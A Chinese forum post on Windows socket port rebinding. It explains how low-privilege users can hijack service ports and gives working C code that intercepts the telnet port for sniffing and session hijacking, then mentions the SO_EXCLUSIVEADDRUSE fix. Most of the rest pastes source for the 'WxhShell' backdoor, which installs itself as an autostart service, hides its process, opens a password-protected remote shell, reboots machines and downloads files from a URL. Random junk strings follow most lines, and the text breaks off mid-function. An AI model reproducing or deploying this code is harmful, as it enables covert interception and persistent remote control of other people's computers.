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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A}G|Yfn  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (~()RkT  
9$ O@`P\  
  saddr.sin_family = AF_INET; qI2'u%  
6fwY$K\X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); SxMj,u%X/  
dWR1cvB(wY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @2e2^8X7f  
C5n?0I9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CBHc A'L  
~ FUa: KYD  
  这意味着什么?意味着可以进行如下的攻击: ^l!L)iw  
qtzRCA!9(Z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 aqr!oxn?t  
z{?4*Bq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6^YJ]w  
_V@P-Ye  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]k+m=OR{/  
zWIeHIt  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9*}gl3y  
xb$yu.c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $']VQ4tZ  
R^P_{_I*"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G6O/(8  
#":a6%0Q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7+ XM3  
[7W(NeMk  
  #include F2>%KuM  
  #include LprM;Q_  
  #include q)iTn)Z!  
  #include    (pYYkR"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t26ij`V  
  int main() 0Nr\2|  
  { I/s.xk_i  
  WORD wVersionRequested; I@./${o  
  DWORD ret; ;$!I&<)  
  WSADATA wsaData; yJD >ny  
  BOOL val; NWKi ()nA%  
  SOCKADDR_IN saddr; mm,lhIh  
  SOCKADDR_IN scaddr; Hed$ytMaGz  
  int err; 8(A{;9^g  
  SOCKET s; ^ d\SPZ  
  SOCKET sc; ?q Xs-  
  int caddsize; PqEAqP  
  HANDLE mt; a [C&e,)}  
  DWORD tid;   -JTG?JOd]  
  wVersionRequested = MAKEWORD( 2, 2 ); dAxp ,):&J  
  err = WSAStartup( wVersionRequested, &wsaData ); 7rIlTrG  
  if ( err != 0 ) { 7~vqf3ON4J  
  printf("error!WSAStartup failed!\n"); X8CVY0<o  
  return -1; 4/MNqit+  
  } #nEL~&  
  saddr.sin_family = AF_INET; )zJ=PF  
   .#!mDlY;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~B_ D@gV|  
`-O= >U5nH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >L[lV_M_>  
  saddr.sin_port = htons(23); 0Q1/n2V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {tt$w>X  
  { kaFnw(xa  
  printf("error!socket failed!\n"); v*r9j8  
  return -1; `C'}e  
  } &;v!oe   
  val = TRUE; "{( [!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SDc" 4g`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'F5)ACA%  
  { O5;-Om  
  printf("error!setsockopt failed!\n"); 0<&M?^  
  return -1; ]{Ek[Av  
  } K-4tdC3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Taasi` k  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PU+1=%'V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O71BM@2<  
!}q."%%J_%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) FpzP #;  
  { J@` 8(\(  
  ret=GetLastError(); }n95< {  
  printf("error!bind failed!\n"); \n0gTwiO%  
  return -1; bp%S62Dj  
  } H[BYE  
  listen(s,2); U;gp)=JNT  
  while(1) RpN <=  
  { ,?y7 ,nb  
  caddsize = sizeof(scaddr); (C\r&N  
  //接受连接请求 k1iLnza%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); GCH[lb>IJv  
  if(sc!=INVALID_SOCKET) .,mM%w,^O  
  { IJIQ" s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ':sTd^V  
  if(mt==NULL) owM mCR  
  { xt))]aH  
  printf("Thread Creat Failed!\n"); iGa}3pF  
  break; w `!LFHK  
  } ;eh/_hPM  
  } } J(1V!EA  
  CloseHandle(mt); KZ3B~#oQ  
  } V{$Sfmey  
  closesocket(s); ee<H@LeG  
  WSACleanup(); d h?dO`  
  return 0; KpGUq0d@  
  }   *(nJX.7  
  DWORD WINAPI ClientThread(LPVOID lpParam) M5u_2;3  
  { i;]CL[#2e`  
  SOCKET ss = (SOCKET)lpParam; 2Oi'E  
  SOCKET sc; k_O-5{  
  unsigned char buf[4096]; uk6g s)qxC  
  SOCKADDR_IN saddr;  ~me\  
  long num; `Sx.|`x8  
  DWORD val; os_WYQ4>j  
  DWORD ret; .qinR 6=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @<5Tba>SC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \!4|tBKVY  
  saddr.sin_family = AF_INET; 2_N/wR#=&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); GEfY^! F+  
  saddr.sin_port = htons(23); ?\M)WDO  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?OO%5PSen  
  { "ZqEP R)  
  printf("error!socket failed!\n"); `:gYXeR  
  return -1; QES^^PQe:  
  } UAKu_RO6S  
  val = 100; ^(g_.>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m2ox8(sd  
  { wo]ks}9  
  ret = GetLastError(); ,P~QS  
  return -1;  `~h0?g  
  } VH<e))5C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S[sr 'ZW  
  { F;W'  
  ret = GetLastError(); ( QKsB3X  
  return -1; ~.H~XK w  
  } u ]SZ{[ e  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fOLnK y#  
  { > '.[G:b  
  printf("error!socket connect failed!\n"); [!Ao,rt?Vg  
  closesocket(sc); k|5k8CRX  
  closesocket(ss); c l9$g7  
  return -1; )tCx5 9  
  } wE8]'o  
  while(1) s_S$7N`ocS  
  { [lZ=s[n.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p_;r%o=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _C5nApb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &AJUY()8  
  num = recv(ss,buf,4096,0); cXMa\#P  
  if(num>0) .}`V I`z*  
  send(sc,buf,num,0); yE<,Z%J[n  
  else if(num==0) Gg}t-_M  
  break; 2zM-Ob<U`  
  num = recv(sc,buf,4096,0); nqrDT1b**  
  if(num>0) :Nkz,R?  
  send(ss,buf,num,0); yj'Cy8  
  else if(num==0) PQi }Evxa  
  break; DgVyy&7>  
  } qA04Vc[2  
  closesocket(ss); |Cu1uwy  
  closesocket(sc); |MVV +.X  
  return 0 ; JLml#Pu4  
  } $Q=$?>4U  
mcCB7<. e  
ML"_CQlE7  
========================================================== =I7[L{+~Y  
" xlJs93c  
下边附上一个代码,,WXhSHELL \_?yzgf  
mqubXS;J|P  
========================================================== NWeV>;lh9  
X"wF Qa  
#include "stdafx.h" \;i G{}(  
$vz_%Y  
#include <stdio.h> 4^0\dq  
#include <string.h> U n]DFu  
#include <windows.h> 3F;EE:  
#include <winsock2.h> 5VuC U  
#include <winsvc.h> ykJ+%gla  
#include <urlmon.h> :J<Owh@  
ixg\[5.Q+  
#pragma comment (lib, "Ws2_32.lib") pz.Y=V\t  
#pragma comment (lib, "urlmon.lib") x-tm[x@;o  
LE<:.?<Z-  
#define MAX_USER   100 // 最大客户端连接数 \MF3CK@/  
#define BUF_SOCK   200 // sock buffer /FoUo   
#define KEY_BUFF   255 // 输入 buffer y|$vtD%c  
^*HVP*   
#define REBOOT     0   // 重启 Oib[\O7[z  
#define SHUTDOWN   1   // 关机 BDWim`DK"  
K3j_C` Se  
#define DEF_PORT   5000 // 监听端口 /5&3WG&<u  
?0? x+  
#define REG_LEN     16   // 注册表键长度 7k.d|<mRv  
#define SVC_LEN     80   // NT服务名长度 `^?}s-H+  
N'htcC  
// 从dll定义API ]r"31.w(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %g!yccD9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -$'~;O3s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >hHJ:5y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pK-_R#  
?ykVfO'  
// wxhshell配置信息 l~`txe  
struct WSCFG { (xI)"{   
  int ws_port;         // 监听端口 Pn~pej5'K  
  char ws_passstr[REG_LEN]; // 口令 xgZV0!%  
  int ws_autoins;       // 安装标记, 1=yes 0=no xC= y^- 1  
  char ws_regname[REG_LEN]; // 注册表键名 %@M00~-  
  char ws_svcname[REG_LEN]; // 服务名 }IxY(`:qs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yg]suU<z]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {JCSR2BB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 67Af} >Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ykErt%k<n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  ]2hF!{wc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i{Y=!r5r  
w`H.ey  
}; .=.yZ  
L7~+x^kw  
// default Wxhshell configuration (mD-FR@#  
struct WSCFG wscfg={DEF_PORT, pko!{,c  
    "xuhuanlingzhe", WLg6-@kxXs  
    1, U89]?^|bb  
    "Wxhshell", |G`4"``]k  
    "Wxhshell", TFiuz; *|  
            "WxhShell Service", "1gk-  
    "Wrsky Windows CmdShell Service", >Hd~Ca>  
    "Please Input Your Password: ", 7Va#{Y;Zy  
  1, rf1wS*uU+  
  "http://www.wrsky.com/wxhshell.exe", $sd3h\P&R  
  "Wxhshell.exe" >oM9~7f  
    }; ')1}#V/I  
F^%{ ;  
// 消息定义模块 (hRgYwUa<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Lz#$_Am'H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]yj4~_&O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ims=-1,  
char *msg_ws_ext="\n\rExit."; D7gX,e  
char *msg_ws_end="\n\rQuit."; {kRDegby  
char *msg_ws_boot="\n\rReboot..."; teQaHe#  
char *msg_ws_poff="\n\rShutdown..."; 7Ap~7)z[  
char *msg_ws_down="\n\rSave to "; Se;?j-  
,oBk>  
char *msg_ws_err="\n\rErr!"; :*F3  
char *msg_ws_ok="\n\rOK!"; V,|Bzcz  
V1CSXY\2  
char ExeFile[MAX_PATH]; _Vk,&'  
int nUser = 0; fY,@2VxyfA  
HANDLE handles[MAX_USER]; (DEL xE  
int OsIsNt; @ ^XkU(m  
\M'bY:  
SERVICE_STATUS       serviceStatus; &bS"N)je  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gN!E*@7  
"Dmw -  
// 函数声明 Z CQt1;  
int Install(void); 3-_U-:2"  
int Uninstall(void); %1 VNP(E  
int DownloadFile(char *sURL, SOCKET wsh); ZB_16&2Ow  
int Boot(int flag); -!bLMLIg  
void HideProc(void);  n_xa)  
int GetOsVer(void); "M5ro$qZ}  
int Wxhshell(SOCKET wsl); @3expC  
void TalkWithClient(void *cs); o?Tp=Ge  
int CmdShell(SOCKET sock); \0^rJ1*  
int StartFromService(void); ;f ;*Q>!  
int StartWxhshell(LPSTR lpCmdLine); bH WvKv+  
Cr V2 V)|G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NbdMec  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5>4A}hSe  
n|4D#Bd1w  
// 数据结构和表定义 dx?njR  
SERVICE_TABLE_ENTRY DispatchTable[] = 0imqj7L  
{ VT.{[Kl  
{wscfg.ws_svcname, NTServiceMain}, eB/hyC1  
{NULL, NULL} &"H<+>`  
}; 3qxG?G N  
utm+\/  
// 自我安装 WT ~dA95  
int Install(void) yZ(Nv $[5  
{ `S/1U87  
  char svExeFile[MAX_PATH]; qY~$wVY(  
  HKEY key; ]RrP !|^  
  strcpy(svExeFile,ExeFile); |>/&EElD  
[;V1y`/K1  
// 如果是win9x系统,修改注册表设为自启动 c[d'1=Qiy  
if(!OsIsNt) { ,0<F3h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +O!M>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M-qxD"VtV=  
  RegCloseKey(key); }2!5#/^~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l]kl V+9t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z\gg<Q  
  RegCloseKey(key); D'sboOY  
  return 0; M@2Qn-I  
    } "JUQ)> !?  
  } o YI=p3l  
} WJh;p: q[  
else { L};;o+5uJD  
ga1gd~a  
// 如果是NT以上系统,安装为系统服务 gq:TUvX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SeJFZ0p  
if (schSCManager!=0) a_iQlsU  
{ KutgW#+40  
  SC_HANDLE schService = CreateService C7 & 6rUX  
  ( /&!d  
  schSCManager, *ZSp9g"Z  
  wscfg.ws_svcname, m[Ac'la  
  wscfg.ws_svcdisp, \F+o=  
  SERVICE_ALL_ACCESS, =|JIY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?VN]0{JSp  
  SERVICE_AUTO_START, QB|fFj58u  
  SERVICE_ERROR_NORMAL, ESf7b `tS  
  svExeFile, zQj%ds:  
  NULL, i6ypx  
  NULL, .bBQhf.&"  
  NULL, _kY[8e5  
  NULL,  jnKM6%z  
  NULL 5NvyK[w]  
  ); >0+|0ba  
  if (schService!=0) 3(GrDO9^  
  { M^JZ]W(  
  CloseServiceHandle(schService); \^(vlcy  
  CloseServiceHandle(schSCManager); s riq(A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /,@v"mE7c!  
  strcat(svExeFile,wscfg.ws_svcname); @)'@LF1Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;@Hi*d[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >/`c mNmb  
  RegCloseKey(key); /uz5V/i0  
  return 0; DMxS-hl  
    } f]A6Mx6  
  } @[kM1:G-F{  
  CloseServiceHandle(schSCManager); )~mc1 U`b  
} <^'+ ]?  
} .&}4  
_,0!ZP-  
return 1; MMr7,?,$  
} v9`B.(Ru  
|QTqa~~B  
// 自我卸载 tKsM}+fq  
int Uninstall(void) W#\};P  
{ wJR i;fvi  
  HKEY key; p'!,F; xX  
0t[mhmSU,  
if(!OsIsNt) { GJt9hDM$0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fX$4TPy(h  
  RegDeleteValue(key,wscfg.ws_regname); &trh\\I"  
  RegCloseKey(key); :h^UC~[h 3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g+r{>x  
  RegDeleteValue(key,wscfg.ws_regname); 14YV#o:  
  RegCloseKey(key); Z*aU2Kr`;  
  return 0; V//q$/&8(  
  } .:!x*v  
} %c/"A8{eb  
} dB/I2uGl>  
else { {#M{~  
A'-YwbY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &`Z)5Ww  
if (schSCManager!=0) m9w ; a  
{ (ai-n,y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "<$vU_  
  if (schService!=0) [Q_| 6Di  
  { by<@Zwtf  
  if(DeleteService(schService)!=0) { ;U3Vows  
  CloseServiceHandle(schService); 78~V/L;@S2  
  CloseServiceHandle(schSCManager); tUF]f6  
  return 0; &0Zk3D4  
  } rWpfAE)!  
  CloseServiceHandle(schService); '?GZ"C2  
  } Q09~vFBg  
  CloseServiceHandle(schSCManager); pYUkd!K"  
} C\@YH]  
} Y8'_5?+ 0  
}4]x"DfIg  
return 1; L\CM);y  
} ?'m5)Z{  
%)ov,p |  
// 从指定url下载文件 jV&W[xKa  
int DownloadFile(char *sURL, SOCKET wsh) MJpTr5Vs  
{ zGz'2, o3  
  HRESULT hr; U zHhU*nW  
char seps[]= "/"; zR_l ^NK  
char *token;  grA L4  
char *file; *<QL[qyV  
char myURL[MAX_PATH]; 0MGK3o)  
char myFILE[MAX_PATH];  2_v+q  
u`,R0=<4  
strcpy(myURL,sURL); bO3KaOC8N  
  token=strtok(myURL,seps); *]?YvY  
  while(token!=NULL) ]=<@G.[=  
  { "E!p1  
    file=token; |sM#g1D@  
  token=strtok(NULL,seps); |ema-pRC  
  } o;I86dI6C  
Cms"OkN  
GetCurrentDirectory(MAX_PATH,myFILE); ~x|Sv4M  
strcat(myFILE, "\\"); R! xc $`N  
strcat(myFILE, file); lfd{O7L0b  
  send(wsh,myFILE,strlen(myFILE),0); |q)Q <%VS'  
send(wsh,"...",3,0); 4zbV' ]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O4mWsr  
  if(hr==S_OK) V t;&2v  
return 0; [c )\?MWW  
else 7O :Gi*MA  
return 1; Y %8QFM  
K%_JQ0`  
} n:z>l,`C]  
1&E&8In]$r  
// 系统电源模块 4yy yXj  
int Boot(int flag) /^ 7 9|$E  
{ 1H@F>}DP  
  HANDLE hToken; .gg0:  
  TOKEN_PRIVILEGES tkp; HXo'^^}q;  
!XceiQu  
  if(OsIsNt) { T8 /'`s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y :BrAa[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 36UW oo  
    tkp.PrivilegeCount = 1; !\v3bOi&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mt7:`-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w` :KexD+  
if(flag==REBOOT) { |REU7?B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rMloj8O*  
  return 0; aW5~z^I  
} l>q.BG  
else { Os+ =}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) roQIP%h!  
  return 0; <3OV  
} L1K_|X  
  } (avaTUMOqy  
  else { 'KG`{K$  
if(flag==REBOOT) { e&nw&9vo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vS<e/e+  
  return 0; #k, kpL<a  
} ><^@1z.J  
else { ~.tu#Y?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bN)?szh&Y  
  return 0; -`o:W?V$u  
} Stpho4+/y  
} "zc!QHpSd  
54&2SU$kx  
return 1; 7ac3N  
} -B!pg7>'##  
aleIy}"  
// win9x进程隐藏模块 =?hlgQ  
void HideProc(void) cj)~7 WF  
{ 0Jrk(k!  
FSk:J~Z;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L2%P  
  if ( hKernel != NULL ) *']RYu?X  
  { glpdYg *  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6(=:j"w0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <j' #mUzd  
    FreeLibrary(hKernel); Sl#XJ0 g  
  } 1GxYuTZ{  
] $*cmk(Y  
return; wv$=0zF  
} ub%q<sE*  
`JCC-\9T_  
// 获取操作系统版本 _ev^5`>p/  
int GetOsVer(void) ?{'Q}%  
{ HT'dft #  
  OSVERSIONINFO winfo; E {MSi"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *`W82V  
  GetVersionEx(&winfo); *V/SI E*8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CT : ac64  
  return 1; Jor?;qo3  
  else JkmL'Zk>:  
  return 0; \BDNF< _  
} K+Qg=vGY  
d=pq+  
// 客户端句柄模块  O-k(5Zb  
int Wxhshell(SOCKET wsl) &uM?DQ`o8  
{ MX34qJ9k  
  SOCKET wsh; nC w1H kW  
  struct sockaddr_in client; dNR4h  
  DWORD myID; 1JM~Ls%Z  
Yr!3mU-Uvt  
  while(nUser<MAX_USER) Jad'8}0J  
{ "o1/gV  
  int nSize=sizeof(client); lUrchLoDt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X qh+  
  if(wsh==INVALID_SOCKET) return 1; 0y(d|;':  
'=r.rW5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5ZPl`[He  
if(handles[nUser]==0) .R1)i-^  
  closesocket(wsh); iL(E`_I<  
else p|Ln;aYc  
  nUser++; 82$^pg>  
  } Eb*DP_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2c}kiqi{  
cNHN h[ C  
  return 0; 5d)G30  
} ? in&/ZrB  
e}kG1C8  
// 关闭 socket 9 i"3R0HN  
void CloseIt(SOCKET wsh) V!oyC$eV  
{ ukN#>e+L1  
closesocket(wsh); -Iq#h)Q*  
nUser--; X:DHz0S  
ExitThread(0); 7Kn=[2J5k'  
} % R'eV<  
a+Q)~13  
// 客户端请求句柄 -V9Cx_]y  
void TalkWithClient(void *cs) <#c2Hg%jh  
{ [ML4<Eb+ x  
w^r*qi"  
  SOCKET wsh=(SOCKET)cs; }JI5,d  
  char pwd[SVC_LEN]; Dgdh3q;  
  char cmd[KEY_BUFF]; qoEOM%dAqV  
char chr[1]; VRD2e ,K  
int i,j; zj8;ENhEI  
\PL92HV  
  while (nUser < MAX_USER) { ieObo foD  
&4 ]%&mX)-  
if(wscfg.ws_passstr) { *G=n${'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~ejHA~QC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _I2AJn`#  
  //ZeroMemory(pwd,KEY_BUFF); ,]o32@   
      i=0;  ;v.l<AOE  
  while(i<SVC_LEN) { ZV&=B%J bs  
~,ac{%8x  
  // 设置超时 '?#e$<uS-  
  fd_set FdRead; 3?2;z+cz*u  
  struct timeval TimeOut; !]W6i]p  
  FD_ZERO(&FdRead); :V`q;g  
  FD_SET(wsh,&FdRead); bvAO(`  
  TimeOut.tv_sec=8; P4s:wuJ^  
  TimeOut.tv_usec=0; u'}DG#@-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n`CmbM@@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5Pn$@3  
Q5baY\"9^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d!,V"*S  
  pwd=chr[0]; >/Slk {  
  if(chr[0]==0xd || chr[0]==0xa) { ([s2F%S`@  
  pwd=0; HAP9XC(F]  
  break; +i{&"o4}  
  } BoFJ8Ukq|  
  i++; oU67<jq  
    } 24]O0K  
h}.0Ne  
  // 如果是非法用户,关闭 socket &EZ28k"x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C#;}U51:t  
} c}$?k@=  
Ktg6*L/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3xbA]u;gp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;p) gTQa  
i yMIP~N,$  
while(1) { l =xy_ TCf  
km.xy_v  
  ZeroMemory(cmd,KEY_BUFF); `2 Z  
k'EP->r  
      // 自动支持客户端 telnet标准   dfO84Z} 5  
  j=0; JoIffI?{(D  
  while(j<KEY_BUFF) { !y `wAm>n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XP~4jOL]  
  cmd[j]=chr[0]; -g_PJ.Hk  
  if(chr[0]==0xa || chr[0]==0xd) { m8#+w0p)  
  cmd[j]=0; LBbk]I  
  break; J!~?}Fq/z  
  } ,,lrF.  
  j++; @/yef3  
    } 8.F]&D0p8  
+Z#lf  
  // 下载文件 2wpLP^9Vr<  
  if(strstr(cmd,"http://")) { nu|;(ly  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Tgc)'8A;BN  
  if(DownloadFile(cmd,wsh)) cea%M3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sycs u_je  
  else G"3D"7f a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7P|GKN~  
  } ="JLUq*]s  
  else { BbnY9"  
s^)wh v`C  
    switch(cmd[0]) { #'_i6  
  ok  iI:  
  // 帮助 *&^`Uk,[  
  case '?': { ?1JS*LQ$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $ nx&(V  
    break; m?`U;R[  
  } "at*G>+  
  // 安装 ag+$qU  
  case 'i': { Rbm"Qz  
    if(Install()) ]9pK^<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OjcxD5"v9  
    else 0V }knR.l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NffZttN  
    break; 2zZ" }Zr#  
    } QI0d:7!W1  
  // 卸载 0sD"Hu  
  case 'r': { %ZDo;l+<F6  
    if(Uninstall()) |kB1>$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j,?>Q4G  
    else }lvD 5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1\X1G>60m  
    break; =$`EB  
    } 8vjaQ5  
  // 显示 wxhshell 所在路径 c!{v/zOz  
  case 'p': { p(g0+.?`~  
    char svExeFile[MAX_PATH]; S:"R/EE(  
    strcpy(svExeFile,"\n\r"); Lnc _)RF  
      strcat(svExeFile,ExeFile); YII1 Z'q  
        send(wsh,svExeFile,strlen(svExeFile),0); %9cu(yc*}  
    break; 8+5 z-vd  
    } t2Q40' `  
  // 重启 = Bz yI  
  case 'b': { Yx>y(Whu.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -HutEbkjx  
    if(Boot(REBOOT)) ?=}~]A5N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M@ t,P?  
    else { "ph&hd}S  
    closesocket(wsh); \D}K{P  
    ExitThread(0); >G(M&  
    } (\S/  
    break; F0 x5(lp Q  
    } #z$FxZT<b  
  // 关机 g).k+  
  case 'd': { -b'93_ZTu:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mMo<C_~w&  
